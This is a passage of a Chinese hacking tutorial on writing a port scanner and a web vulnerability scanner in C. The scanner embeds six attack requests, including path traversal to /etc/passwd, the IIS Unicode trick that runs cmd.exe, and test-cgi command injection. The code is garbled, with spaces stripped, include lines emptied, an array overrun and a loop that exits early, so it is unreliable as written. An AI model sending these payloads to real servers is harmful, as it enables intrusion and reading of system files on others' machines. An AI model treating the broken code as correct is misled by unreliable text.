if((mysocket=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
printf("SocketError");
exit
(1);
}
my_addr.sin_family=AF_INET;
my_addr.sin_port=htons(i);
my_addr.sin_addr.s_addr=inet_addr(argv[1]);
if(connect(mysocket,(structsockaddr*)&my_addr,sizeof(structsockaddr))==SOCKET_ERROR)
closesocket(mysocket);
else{
pcount++;
printf("Port%d-open\n",i);
}}
printf("%dportsopenonhost-%s\n",pcount,argv[1]);
closesocket(mysocket);
WSACleanup();
return0;
}
这个程序使用BorlandC++编译,程序中关键代码是“my_addr.sin_port=htons(i)”,因为变量i是一个循环量,它从一开始到使用者设定值结束,而htons(i)则是对连接远程服务器需要使用的端口进行定义,之后使用connect()函数连接指定端口,通过返回值判断这个端口是否打开,这样一个端口扫描的思路就出现了。
程序中用到的socket函数库是专门实现网络连接的一套综合函数库,这套函数内容丰富,在各种流行编程语言中都有,黑客在学习了C语言和socket函数库以后,便可以快速掌握各种编程语言、并能够编写出相当数量的黑客工具。
一、漏洞扫描器基本原理:
编写漏洞扫描器探查远程服务器上可能存在的具有安全隐患的文件是否存在,它的socket建立过程和上面的端口扫描器是相同的,所不同的是漏洞扫描器通常使用80端口,然后对这个端口发送一个GET文件的请求,服务器接收到请求会返回文件内容,如果文件不存在则返回一个错误提示,通过接收返回内容可以判断文件是否存在。
发送和接收数据需要使用函数send()和recv(),另外对流中存在的字符串进行判断需要使用函数strstr(),这除了需要具备socket函数库的知识以外,还需要一些有关string函数库的知识。
二、简单的漏洞扫描源代码:
/********************/
/*端口扫描器源代码*/
/********************/
#include
#include
#include
intmain(intargc,char*argv[])
{
if(argc!
=2){
printf("Useage:
scan[IPaddress]\n");
return
(1);
}
structsockaddr_inblah;
structhostent*he;
WSADATAwsaData;
inti;
WORDwVersionRequested;
SOCKETsock;
charbuff[1024];
char*ex[10];
ex[1]="GET/../../../../etc/passwdHTTP/1.0\n\n";
ex[2]="GET/scripts/..%c1%1c../winnt/system32/cmd.exe?
/c+dir+c:
\HTTP/1.0\n\n";
ex[3]="GET/A.ida/%c1%00.idaHTTP/1.0\n\n";
ex[4]="GET/cgi-bin/pfdispaly.cgi?
/../../../../etc/motdHTTP/1.0\n\n";
ex[5]="GET/cgi-bin/test-cgi?
\help&0a/bin/cat%20/etc/passwdHTTP/1.0\n\n";
ex[6]="GET/cgi-bin/test-cgi?
*HTTP/1.0\n\n";
char*fmsg="HTTP/1.1200OK";
wVersionRequested=MAKEWORD(1,1);
if(WSAStartup(wVersionRequested,&wsaData)){
printf("WinsockInitializationfailed.\n");
exit
(1);
}
if((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
printf("Cannotcreatesocket.\n");
exit
(1);
}
sock=socket(AF_INET,SOCK_STREAM,0);
blah.sin_family=AF_INET;
blah.sin_port=htons(80);
blah.sin_addr.s_addr=inet_addr(argv[1]);
if((he=gethostbyname(argv[1]))!
=NULL){
memcpy((char*)&blah.sin_addr.s_addr,he->h_addr,he->h_length);
}
else{
if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){
WSACleanup();
exit
(1);
}
}
for(i=1;i<7;i++){
if(connect(sock,(structsockaddr*)&blah,sizeof(blah))==0){
send(sock,ex[i],strlen(ex[i]),0);
recv(sock,buff,sizeof(buff),0);
if(strstr(buff,fmsg)!
=NULL){
printf("\nFound:
%s\n",ex[i]);
}
}
closesocket(sock);
WSACleanup();
return
(1);
}
}
这段代码可以检测六个漏洞,读者可以根据自己的需要增加漏洞扫描的数量。
程序实现的很简洁,概括起来这段程序完成了一下四项工作:
1、连接目标主机SERVER;
2、向目标主机发送GET请求;
3、接收目标返回数据;
4、根据返回数据判断文件是否存在。
三、返回数值:
读者也许不明白,程序究竟依靠返回的什么数值判断文件是否存在的呢?
现在让我们修改一下程序,仔细看一下返回来的究竟是什么内容,对上面的程序进行如下修改:
/************************/
/*检测文件头内容源代码*/
/************************/
#include
#include
#include
intmain(intargc,char*argv[])
{
if(argc!
=2){
printf("Useage:
scan[IPaddress]\n");
return
(1);
}
structsockaddr_inblah;
structhostent*he;
WSADATAwsaData;
WORDwVersionRequested;
SOCKETsock;
charbuff[4096];
char*ex[2];
ex[1]="GET/index.htmlHTTP/1.0\n\n";
ex[2]="GET/noindex.htmHTTP/1.0\n\n";
wVersionRequested=MAKEWORD(1,1);
if(WSAStartup(wVersionRequested,&wsaData)){
printf("WinsockInitializationfailed.\n");
exit
(1);
}
if((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
printf("Cannotcreatesocket.\n");
exit
(1);
}
sock=socket(AF_INET,SOCK_STREAM,0);
blah.sin_family=AF_INET;
blah.sin_port=htons(80);
blah.sin_addr.s_addr=inet_addr(argv[1]);
if((he=gethostbyname(argv[1]))!
=NULL){
memcpy((char*)&blah.sin_addr.s_addr,he->h_addr,he->h_length);
}
else{
if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){
WSACleanup();
exit
(1);
}
}
if(connect(sock,(structsockaddr*)&blah,sizeof(blah))==0){
send(sock,ex[1],strlen(ex[1]),0);
recv(sock,buff,sizeof(buff),0);
printf("%s",buff);
send(sock,ex[2],strlen(ex[2]),0);
recv(sock,buff,sizeof(buff),0);
printf("%s",buff);
}
closesocket(sock);
WSACleanup();
return
(1);
}
程序将检测文件进行了修改,指对“/index.htm”和“/noindex.htm”进行判断,因为index.htm是默认的页面,所以大多数情况下是存在于服务器上的,而noindex.htm则是没有找到文件的情况,通过对接收回来的流buff的printf()可以清楚地看到返回来的究竟是什么东西。
通过运行程序读者会看到类似下面的内容:
HTTP/1.1200OK
Date:
Thu,23Aug200110:
59:
31GMT
Server:
Apache/1.3.12(Unix)
Last-Modified:
Thu,23Aug200110:
44:
11GMT
ETag:
"a9c96-b73e-3b84de7b"
Accept-Ranges:
bytes
Content-Length:
46910
Connection:
close
Content-Type:
text/html
这个htm程序的头部说明,返回内容还会有很多,不过下面的内容就是正常的htm文件了,这个头是被隐藏的,所以大多数使用者在平时使用电脑过程中,不会发现htm文件的开始部位,还有一个这样的内容说明。
这个头里面包含了很多信息,例如第一行的200OK就是文件存在的意思,如果是404NOTFOUND那么就是文件不存在,也就是这个内容才能够让漏洞扫描器正常工作,现在读者应该明白为什么我们编写的漏洞扫描器里面由foundmsg=HTTP/1.1200OK的语句了吧。
通过这个头还可以了解到对方服务器使用的是什么系统,例如:
Server:
Apache/1.3.12(Unix)就是我们扫描的服务器使用的系统类型。